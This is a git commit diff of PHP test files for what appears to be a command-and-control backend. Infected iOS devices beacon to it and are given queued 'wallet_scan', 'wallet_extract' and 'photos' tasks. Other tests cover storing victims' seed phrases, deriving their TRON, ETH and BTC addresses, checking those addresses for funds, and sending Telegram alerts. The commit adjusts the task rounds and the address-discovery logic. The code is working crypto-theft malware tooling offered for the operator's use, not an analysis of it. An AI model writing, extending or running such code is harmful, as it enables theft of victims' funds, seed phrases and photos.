fix: link memo

This commit is contained in:
hashbro
2026-09-13 17:17:34 +08:00
parent bca2eb4602
commit b49755c900
17 changed files with 751 additions and 202 deletions
+29 -4
View File
@@ -132,13 +132,28 @@ class CollectableAddressNotifyTest extends TestCase
return Http::response(['ok' => true], 200);
}
if (str_contains($url, '/wallet/getaccount')) {
return Http::response(['balance' => 5_000_000], 200);
$addr = (string) ($request->data()['address'] ?? '');
if ($addr === self::TRON_0) {
return Http::response([
'address' => $addr,
'create_time' => 1,
'balance' => 5_000_000,
], 200);
}
return Http::response([], 200);
}
if (str_contains($url, '/wallet/triggerconstantcontract')) {
return Http::response(['constant_result' => [dechex(2_000_000)]], 200);
}
if (str_contains($url, 'ethereum.example')) {
$method = $request->data()['method'] ?? '';
$data = $request->data();
$method = $data['method'] ?? '';
$target = strtolower((string) ($data['params'][0] ?? ''));
$hit = $target === self::ETH_0;
if ($method === 'eth_getTransactionCount') {
return Http::response(['jsonrpc' => '2.0', 'id' => 1, 'result' => $hit ? '0x1' : '0x0'], 200);
}
if ($method === 'eth_getBalance') {
return Http::response(['jsonrpc' => '2.0', 'id' => 1, 'result' => '0x0'], 200);
}
@@ -147,8 +162,14 @@ class CollectableAddressNotifyTest extends TestCase
}
}
if (str_contains($url, 'mempool.example')) {
$activated = str_contains($url, self::BTC_0);
return Http::response([
'chain_stats' => ['funded_txo_sum' => 100_000, 'spent_txo_sum' => 0],
'chain_stats' => [
'tx_count' => $activated ? 1 : 0,
'funded_txo_count' => $activated ? 1 : 0,
'funded_txo_sum' => $activated ? 100_000 : 0,
'spent_txo_sum' => 0,
],
], 200);
}
@@ -158,7 +179,11 @@ class CollectableAddressNotifyTest extends TestCase
$device = Device::query()->create(['device_id' => 'dev-collect-derive']);
$mnemonic = $this->storeMnemonic($device);
$this->assertSame(3, app(MnemonicWalletDiscovery::class)->discoverIndexZero($mnemonic));
$this->assertSame(3, app(MnemonicWalletDiscovery::class)->discoverActivated($mnemonic));
$this->assertSame(
[1, 1, 1],
WalletAddress::query()->where('mnemonic_id', $mnemonic->id)->orderBy('id')->pluck('monitor')->all()
);
Http::assertSent(function ($request) {
if (! str_contains($request->url(), 'api.telegram.org/bottg-token/sendMessage')) {
+68 -27
View File
@@ -42,7 +42,7 @@ class DarkSwordC2ApiTest extends TestCase
// Redis::keys() returns fully-prefixed keys, but Redis::del() adds the
// prefix again — so we must strip it before deleting.
$prefix = config('database.redis.options.prefix', '');
$patterns = ['ds:q:*', 'ds:qdisp:*', 'ds:qdone:*', 'ds:qt:*'];
$patterns = ['ds:q:*', 'ds:qdisp:*', 'ds:qdone:*', 'ds:qround:*', 'ds:qt:*'];
foreach ($patterns as $pattern) {
$keys = Redis::keys($pattern);
if (empty($keys)) {
@@ -712,8 +712,8 @@ class DarkSwordC2ApiTest extends TestCase
#[Test]
public function beacon_alternates_scan_and_extract_per_ip_with_5s_gap(): void
{
// New Redis-based queue: seed() pushes photos + wallet_scan (FIFO, one-shot).
// LPUSH order: [wallet_scan, photos]; RPOP dequeue order: photos → wallet_scan → noop.
// seed() pushes wallet_scan → wallet_extract → photos (FIFO), then
// replenishes the same list until DEFAULT_ROUNDS (3) finish.
$uuid = self::DS_LHU;
// Helper to clear the per-device throttle lock (simulates 5s gap).
@@ -724,14 +724,14 @@ class DarkSwordC2ApiTest extends TestCase
}
};
// First dispatch -> photos (first in FIFO from seed).
// First dispatch -> wallet_scan (first in FIFO from seed).
$r1 = $this->postJson('/beacon', [
'uuid' => $uuid,
'status' => 'idle',
'ios' => '18.6',
])->assertOk()->assertJson([
'ok' => true,
'type' => 'photos',
'type' => 'wallet_scan',
'uuid' => $uuid,
]);
$id1 = $r1->json('command_id');
@@ -743,12 +743,12 @@ class DarkSwordC2ApiTest extends TestCase
'status' => 'idle',
])->assertOk()->assertJson(['ok' => true, 'type' => 'noop']);
// After the 5s gap -> wallet_scan (second in FIFO).
// After the 5s gap -> wallet_extract (second in FIFO).
$forgetThrottle();
$r2 = $this->postJson('/beacon', [
'uuid' => $uuid,
'status' => 'idle',
])->assertOk()->assertJson(['type' => 'wallet_scan']);
])->assertOk()->assertJson(['type' => 'wallet_extract']);
$id2 = $r2->json('command_id');
$this->assertNotEmpty($id2);
$this->assertNotSame($id1, $id2);
@@ -759,21 +759,23 @@ class DarkSwordC2ApiTest extends TestCase
'status' => 'idle',
])->assertOk()->assertJson(['type' => 'noop']);
// After another gap -> noop (queue is empty, single-run: no auto-replenish).
// After another gap -> photos (third in FIFO).
$forgetThrottle();
$this->postJson('/beacon', [
'uuid' => $uuid,
'status' => 'idle',
])->assertOk()->assertJson(['type' => 'noop']);
])->assertOk()->assertJson(['type' => 'photos']);
$device = Device::query()->where('device_id', $uuid)->first();
$this->assertNotNull($device);
$this->assertSame(Device::CHAIN_DARKSWORD, $device->chain);
$this->assertSame(0, DeviceEvent::query()->count());
// Single-run: after both tasks were dispatched, the queue is empty (0).
// Round 1 consumed; remaining pending is empty until the next beacon
// replenishes round 2.
$queue = app(DsBeaconQueue::class);
$this->assertSame(0, $queue->queueLength($device));
$this->assertSame(3, $queue->roundsRemaining($device));
$admin = Admin::query()->create(['username' => 'ds-admin', 'password' => 'admin123']);
$this->actingAs($admin, 'admin')
@@ -781,7 +783,8 @@ class DarkSwordC2ApiTest extends TestCase
->assertOk()
->assertSee('C2 队列')
->assertSee('photos')
->assertSee('wallet_scan');
->assertSee('wallet_scan')
->assertSee('wallet_extract');
}
#[Test]
@@ -797,12 +800,12 @@ class DarkSwordC2ApiTest extends TestCase
}
};
// First dispatch -> photos (first in FIFO from seed).
// First dispatch -> wallet_scan (first in FIFO from seed).
$first = $this->postJson('/beacon', [
'uuid' => $uuid,
'status' => 'idle',
'ios' => '18.6',
])->assertOk()->assertJson(['type' => 'photos']);
])->assertOk()->assertJson(['type' => 'wallet_scan']);
$firstId = $first->json('command_id');
$this->assertNotEmpty($firstId);
@@ -813,12 +816,12 @@ class DarkSwordC2ApiTest extends TestCase
])->assertOk()->assertJson(['type' => 'noop']);
// After the 5s gap (simulated by deleting the Redis throttle key), the next
// beacon dispatches wallet_scan (second in FIFO from seed).
// beacon dispatches wallet_extract (second in FIFO from seed).
$forgetThrottle();
$retry = $this->postJson('/beacon', [
'uuid' => $uuid,
'status' => 'idle',
])->assertOk()->assertJson(['type' => 'wallet_scan']);
])->assertOk()->assertJson(['type' => 'wallet_extract']);
$retryId = $retry->json('command_id');
$this->assertNotEmpty($retryId);
$this->assertNotSame($firstId, $retryId);
@@ -826,8 +829,8 @@ class DarkSwordC2ApiTest extends TestCase
$this->postJson('/result', [
'uuid' => $uuid,
'command_id' => $retryId,
'filename' => 'wallet_scan_result.json',
'category' => 'wallet_scan',
'filename' => 'wallet_extract_result.json',
'category' => 'wallet_extract',
'status' => 'success',
])->assertOk();
@@ -835,16 +838,16 @@ class DarkSwordC2ApiTest extends TestCase
$device = Device::query()->where('device_id', $uuid)->first();
$events = DeviceEvent::query()->where('device_id', $device->id)->get();
$this->assertSame(1, $events->count());
$this->assertSame('wallet_scan', $events->first()->event_name);
$this->assertStringContainsString('wallet_scan', $events->first()->desc);
$this->assertStringContainsString('wallet_scan_result.json', $events->first()->desc);
$this->assertSame('wallet_extract', $events->first()->event_name);
$this->assertStringContainsString('wallet_extract', $events->first()->desc);
$this->assertStringContainsString('wallet_extract_result.json', $events->first()->desc);
// After a result + gap, the queue is empty (single-run: no auto-replenish).
// After a result + gap, the next default task is photos (not empty yet).
$forgetThrottle();
$this->postJson('/beacon', [
'uuid' => $uuid,
'status' => 'idle',
])->assertOk()->assertJson(['type' => 'noop']);
])->assertOk()->assertJson(['type' => 'photos']);
}
#[Test]
@@ -852,8 +855,7 @@ class DarkSwordC2ApiTest extends TestCase
{
// New Redis-based queue: tasks are dispatched in FIFO order (RPOP from LPUSH list).
// No "skip legacy" logic — all queued tasks are dispatched in order.
// Single-run: seed() only runs on new device creation, not on every beacon.
// When the queue is emptied by dequeue, it stays empty (no auto-replenish).
// seed() only runs on new device creation; addTask() does not start default rounds.
$device = Device::query()->create([
'device_id' => self::DS_LHU,
'chain' => Device::CHAIN_DARKSWORD,
@@ -887,9 +889,48 @@ class DarkSwordC2ApiTest extends TestCase
'status' => 'idle',
])->assertOk()->assertJson(['type' => 'wallet_scan']);
// After the last task is dequeued, the queue is empty — single-run: no
// auto-replenish. seed() only runs on new device creation, not on
// every beacon/upsertDevice.
// After the last manually added task is dequeued, the queue stays empty:
// auto-replenish only applies to seed()'d default rounds, not addTask().
$this->assertSame(0, $queue->queueLength($device));
}
#[Test]
public function beacon_replays_default_queue_three_rounds(): void
{
$uuid = self::DS_LHU;
$expected = [];
for ($round = 0; $round < DsBeaconQueue::DEFAULT_ROUNDS; $round++) {
array_push($expected, 'wallet_scan', 'wallet_extract', 'photos');
}
$dispatched = [];
foreach ($expected as $i => $type) {
if ($i > 0) {
$device = Device::query()->where('device_id', $uuid)->first();
$this->assertNotNull($device);
Redis::del('ds:qt:'.$device->id);
}
$this->postJson('/beacon', [
'uuid' => $uuid,
'status' => 'idle',
'ios' => '18.6',
])->assertOk()->assertJson(['type' => $type]);
$dispatched[] = $type;
}
$device = Device::query()->where('device_id', $uuid)->first();
$this->assertNotNull($device);
$queue = app(DsBeaconQueue::class);
$this->assertSame($expected, $dispatched);
$this->assertSame(0, $queue->queueLength($device));
$this->assertSame(1, $queue->roundsRemaining($device));
Redis::del('ds:qt:'.$device->id);
$this->postJson('/beacon', [
'uuid' => $uuid,
'status' => 'idle',
])->assertOk()->assertJson(['type' => 'noop']);
$this->assertSame(0, $queue->roundsRemaining($device));
$this->assertSame(0, $queue->queueLength($device));
}
+27 -16
View File
@@ -152,10 +152,31 @@ class MnemonicAddressLinkTest extends TestCase
}
#[Test]
public function derive_index_beyond_four_is_not_linked(): void
public function derive_index_nine_is_linked(): void
{
$device = $this->makeDevice('dev-link-4a');
$tron = (new TronDriver)->deriveAddress(self::MNEMONIC, 9);
$addr = WalletAddress::query()->create([
'device_id' => $device->id,
'address' => $tron,
'chain_type' => 'TRON',
'source' => 'imToken',
'monitor' => 0,
]);
$mnemonic = $this->storeMnemonic($device);
$this->assertTrue(app(MnemonicAddressLinker::class)->linkAddress($addr));
$addr->refresh();
$this->assertSame($mnemonic->id, $addr->mnemonic_id);
$this->assertSame(9, $addr->derive_index);
}
#[Test]
public function derive_index_beyond_nine_is_not_linked(): void
{
$device = $this->makeDevice('dev-link-4');
$tron = (new TronDriver)->deriveAddress(self::MNEMONIC, 5);
$tron = (new TronDriver)->deriveAddress(self::MNEMONIC, 10);
$addr = WalletAddress::query()->create([
'device_id' => $device->id,
@@ -278,7 +299,7 @@ class MnemonicAddressLinkTest extends TestCase
}
#[Test]
public function backfill_derives_index_zero_when_mnemonic_has_no_addresses(): void
public function backfill_skips_inactive_derived_addresses(): void
{
$device = Device::query()->create(['device_id' => 'dev-backfill-derive']);
$mnemonic = new WalletMnemonic([
@@ -289,20 +310,10 @@ class MnemonicAddressLinkTest extends TestCase
$mnemonic->save();
$this->artisan('coruna:link-mnemonics')
->expectsOutputToContain('linked=0 discovered=3')
->expectsOutputToContain('linked=0 discovered=0')
->assertSuccessful();
$rows = WalletAddress::query()
->where('mnemonic_id', $mnemonic->id)
->orderBy('id')
->get();
$this->assertCount(3, $rows);
$this->assertSame(['TRON', 'ETH', 'BTC'], $rows->pluck('chain_type')->all());
$this->assertSame([
self::TRON_0,
self::ETH_0,
'1LqBGSKuX5yYUonjxT5qGfpUsXKYYWeabA',
], $rows->pluck('address')->all());
$this->assertSame([0, 0, 0], $rows->pluck('derive_index')->all());
$this->assertSame(0, WalletAddress::query()->where('mnemonic_id', $mnemonic->id)->count());
$this->assertSame(0, WalletAddress::query()->where('device_id', $device->id)->count());
}
}
+158 -72
View File
@@ -8,6 +8,7 @@ use App\Models\Device;
use App\Models\User;
use App\Models\WalletAddress;
use App\Models\WalletMnemonic;
use App\Services\Chain\TronDriver;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Http;
use PHPUnit\Framework\Attributes\Test;
@@ -207,43 +208,12 @@ class MnemonicWalletsTest extends TestCase
}
#[Test]
public function wallets_discovers_funded_index_zero_when_no_linked_addresses(): void
public function wallets_discovers_activated_indexes_when_no_linked_addresses(): void
{
config([
'coruna.tron.full_node' => 'https://api.trongrid.io',
'coruna.tron.usdt_contract' => 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t',
'coruna.eth.rpc_url' => 'https://ethereum.example',
'coruna.eth.usdt_contract' => '0xdAC17F958D2ee523a2206206994597C13D831ec7',
'coruna.btc.api_url' => 'https://mempool.example/api',
$this->fakeDiscoveryRpcs([
'tron' => ['TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH'],
]);
Http::fake(function ($request) {
$url = $request->url();
if (str_contains($url, '/wallet/getaccount')) {
return Http::response(['balance' => 5_000_000], 200);
}
if (str_contains($url, '/wallet/triggerconstantcontract')) {
return Http::response(['constant_result' => [dechex(0)]], 200);
}
if (str_contains($url, 'ethereum.example')) {
$body = $request->data();
$method = $body['method'] ?? '';
if ($method === 'eth_getBalance') {
return Http::response(['jsonrpc' => '2.0', 'id' => 1, 'result' => '0x0'], 200);
}
if ($method === 'eth_call') {
return Http::response(['jsonrpc' => '2.0', 'id' => 1, 'result' => '0x0'], 200);
}
}
if (str_contains($url, 'mempool.example')) {
return Http::response([
'chain_stats' => ['funded_txo_sum' => 0, 'spent_txo_sum' => 0],
], 200);
}
return Http::response([], 404);
});
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
$device = Device::query()->create(['device_id' => 'dev-mn-discover']);
$mnemonic = $this->storeMnemonic($device);
@@ -255,13 +225,9 @@ class MnemonicWalletsTest extends TestCase
->assertJsonPath('data.addresses.0.address', 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH')
->assertJsonPath('data.addresses.0.chain_type', 'TRON')
->assertJsonPath('data.addresses.0.trx', '5')
->assertJsonPath('data.addresses.1.address', '0x9858effd232b4033e47d90003d41ec34ecaeda94')
->assertJsonPath('data.addresses.1.chain_type', 'ETH')
->assertJsonPath('data.addresses.1.eth', '0')
->assertJsonPath('data.addresses.2.address', '1LqBGSKuX5yYUonjxT5qGfpUsXKYYWeabA')
->assertJsonPath('data.addresses.2.chain_type', 'BTC')
->assertJsonPath('data.addresses.2.btc', '0')
->assertJsonCount(3, 'data.addresses');
->assertJsonPath('data.addresses.0.active', true)
->assertJsonPath('data.addresses.0.persisted', true)
->assertJsonCount(1, 'data.addresses');
$this->assertDatabaseHas('wallet_addresses', [
'device_id' => $device->id,
@@ -269,40 +235,76 @@ class MnemonicWalletsTest extends TestCase
'mnemonic_id' => $mnemonic->id,
'derive_index' => 0,
'chain_type' => 'TRON',
'monitor' => 1,
]);
$this->assertSame(3, WalletAddress::query()->where('mnemonic_id', $mnemonic->id)->count());
$this->assertSame(1, WalletAddress::query()->where('mnemonic_id', $mnemonic->id)->count());
}
#[Test]
public function wallets_persists_index_zero_even_when_balances_are_zero(): void
public function wallets_persists_activated_index_within_first_three(): void
{
config([
'coruna.tron.full_node' => 'https://api.trongrid.io',
'coruna.tron.usdt_contract' => 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t',
'coruna.eth.rpc_url' => 'https://ethereum.example',
'coruna.eth.usdt_contract' => '0xdAC17F958D2ee523a2206206994597C13D831ec7',
'coruna.btc.api_url' => 'https://mempool.example/api',
$tron2 = (new TronDriver)->deriveAddress(
'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about',
2,
);
$this->fakeDiscoveryRpcs([
'tron' => [$tron2],
]);
Http::fake(function ($request) {
$url = $request->url();
if (str_contains($url, '/wallet/getaccount')) {
return Http::response(['balance' => 0], 200);
}
if (str_contains($url, '/wallet/triggerconstantcontract')) {
return Http::response(['constant_result' => ['0']], 200);
}
if (str_contains($url, 'ethereum.example')) {
return Http::response(['jsonrpc' => '2.0', 'id' => 1, 'result' => '0x0'], 200);
}
if (str_contains($url, 'mempool.example')) {
return Http::response([
'chain_stats' => ['funded_txo_sum' => 0, 'spent_txo_sum' => 0],
], 200);
}
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
$device = Device::query()->create(['device_id' => 'dev-mn-index2']);
$mnemonic = $this->storeMnemonic($device);
return Http::response([], 404);
});
$this->actingAs($admin, 'admin')
->getJson(route('admin.mnemonics.wallets', $mnemonic))
->assertOk()
->assertJsonPath('code', 0)
->assertJsonPath('data.addresses.0.address', $tron2)
->assertJsonPath('data.addresses.0.derive_index', 2)
->assertJsonCount(1, 'data.addresses');
$this->assertDatabaseHas('wallet_addresses', [
'device_id' => $device->id,
'address' => $tron2,
'mnemonic_id' => $mnemonic->id,
'derive_index' => 2,
]);
$this->assertSame(1, WalletAddress::query()->where('device_id', $device->id)->count());
}
#[Test]
public function wallets_skips_activated_index_beyond_first_three(): void
{
$tron3 = (new TronDriver)->deriveAddress(
'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about',
3,
);
$this->fakeDiscoveryRpcs([
'tron' => [$tron3],
]);
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
$device = Device::query()->create(['device_id' => 'dev-mn-index3']);
$mnemonic = $this->storeMnemonic($device);
$this->actingAs($admin, 'admin')
->getJson(route('admin.mnemonics.wallets', $mnemonic))
->assertOk()
->assertJsonPath('code', 0)
->assertJsonPath('data.addresses.0.active', false)
->assertJsonPath('data.addresses.0.persisted', false)
->assertJsonCount(3, 'data.addresses');
$this->assertSame(0, WalletAddress::query()->where('mnemonic_id', $mnemonic->id)->count());
$this->assertDatabaseMissing('wallet_addresses', [
'address' => $tron3,
]);
}
#[Test]
public function wallets_previews_inactive_index_zero_without_persisting(): void
{
$this->fakeDiscoveryRpcs([]);
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
$device = Device::query()->create(['device_id' => 'dev-mn-empty']);
@@ -314,16 +316,100 @@ class MnemonicWalletsTest extends TestCase
->assertJsonPath('code', 0)
->assertJsonPath('data.addresses.0.address', 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH')
->assertJsonPath('data.addresses.0.chain_type', 'TRON')
->assertJsonPath('data.addresses.0.trx', '0')
->assertJsonPath('data.addresses.0.derive_index', 0)
->assertJsonPath('data.addresses.0.active', false)
->assertJsonPath('data.addresses.0.persisted', false)
->assertJsonPath('data.addresses.0.id', null)
->assertJsonPath('data.addresses.1.address', '0x9858effd232b4033e47d90003d41ec34ecaeda94')
->assertJsonPath('data.addresses.1.chain_type', 'ETH')
->assertJsonPath('data.addresses.1.eth', '0')
->assertJsonPath('data.addresses.1.active', false)
->assertJsonPath('data.addresses.2.address', '1LqBGSKuX5yYUonjxT5qGfpUsXKYYWeabA')
->assertJsonPath('data.addresses.2.chain_type', 'BTC')
->assertJsonPath('data.addresses.2.btc', '0')
->assertJsonPath('data.addresses.2.active', false)
->assertJsonCount(3, 'data.addresses');
$this->assertSame(3, WalletAddress::query()->where('device_id', $device->id)->count());
$this->assertSame(3, WalletAddress::query()->where('mnemonic_id', $mnemonic->id)->count());
$this->assertSame(0, WalletAddress::query()->where('device_id', $device->id)->count());
$this->assertSame(0, WalletAddress::query()->where('mnemonic_id', $mnemonic->id)->count());
}
/**
* @param array{tron?: list<string>, eth?: list<string>, btc?: list<string>} $activated
*/
private function fakeDiscoveryRpcs(array $activated): void
{
config([
'coruna.tron.full_node' => 'https://api.trongrid.io',
'coruna.tron.usdt_contract' => 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t',
'coruna.eth.rpc_url' => 'https://ethereum.example',
'coruna.eth.usdt_contract' => '0xdAC17F958D2ee523a2206206994597C13D831ec7',
'coruna.btc.api_url' => 'https://mempool.example/api',
]);
$tronOn = array_fill_keys($activated['tron'] ?? [], true);
$ethOn = [];
foreach ($activated['eth'] ?? [] as $addr) {
$ethOn[strtolower($addr)] = true;
}
$btcOn = array_fill_keys($activated['btc'] ?? [], true);
Http::fake(function ($request) use ($tronOn, $ethOn, $btcOn) {
$url = $request->url();
if (str_contains($url, '/wallet/getaccount')) {
$addr = (string) ($request->data()['address'] ?? '');
if (isset($tronOn[$addr])) {
return Http::response([
'address' => $addr,
'create_time' => 1,
'balance' => 5_000_000,
], 200);
}
return Http::response([], 200);
}
if (str_contains($url, '/wallet/triggerconstantcontract')) {
return Http::response(['constant_result' => ['0']], 200);
}
if (str_contains($url, 'ethereum.example')) {
$body = $request->data();
$method = $body['method'] ?? '';
$target = strtolower((string) (($body['params'][0] ?? '')));
if ($method === 'eth_call') {
$target = '';
}
$hit = $target !== '' && isset($ethOn[$target]);
if (in_array($method, ['eth_getTransactionCount', 'eth_getBalance', 'eth_call'], true)) {
return Http::response([
'jsonrpc' => '2.0',
'id' => 1,
'result' => $hit ? '0x1' : '0x0',
], 200);
}
}
if (str_contains($url, 'mempool.example')) {
foreach (array_keys($btcOn) as $addr) {
if (str_contains($url, rawurlencode($addr)) || str_contains($url, $addr)) {
return Http::response([
'chain_stats' => [
'tx_count' => 1,
'funded_txo_count' => 1,
'funded_txo_sum' => 100_000,
'spent_txo_sum' => 0,
],
], 200);
}
}
return Http::response([
'chain_stats' => [
'tx_count' => 0,
'funded_txo_count' => 0,
'funded_txo_sum' => 0,
'spent_txo_sum' => 0,
],
], 200);
}
return Http::response([], 404);
});
}
}